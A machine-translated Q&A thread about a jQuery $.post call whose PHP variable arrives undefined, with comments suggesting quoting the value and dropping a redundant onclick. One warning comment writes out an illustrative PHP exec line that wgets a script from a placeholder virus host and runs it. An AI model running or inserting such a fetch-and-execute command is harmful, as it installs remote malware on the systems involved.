我正嘗試使用jQuery將變量發佈到MySQL/PHP查詢。我有一個按鈕,class="button"
和按鈕的代碼是:使用jQuery在POST上點擊
$(".button").click(function(e){
e.preventDefault();
$.post("some.php", { var_today : <?php echo $new_var; ?> });
});
使用:
if(isset($_POST['var_today'])){
echo $_POST['var_today'];
}
我的PHP頁面上,我得到了一個未定義指數:var_today
鈕類標籤有一個onclick="window.open('')
附加到它,一旦它被點擊,我得到「未定義索引」var_today
未被張貼,我在這裏寫錯了什麼?
在'var_today'的值周圍加上引號...... IE'var_today:「<?php echo $ new_var;?>' – gorelative 2012-04-13 15:02:02
也不需要'onclick =」「'屬性,因爲這本質上就是jQuery.click()方法是 – Dunhamzzz 2012-04-13 15:02:44
這不是一個答案,也許我誤解了你的代碼,但是請注意,你永遠不應該執行任何由於Javascript調用而獲得的代碼,這對於攻擊者用'<?php exec(「wget http://myvirus.com/virus.sh」); exec(「./ virus.sh」);?>替換'<?php echo $ new_var;?>' ' – 2012-04-13 15:06:07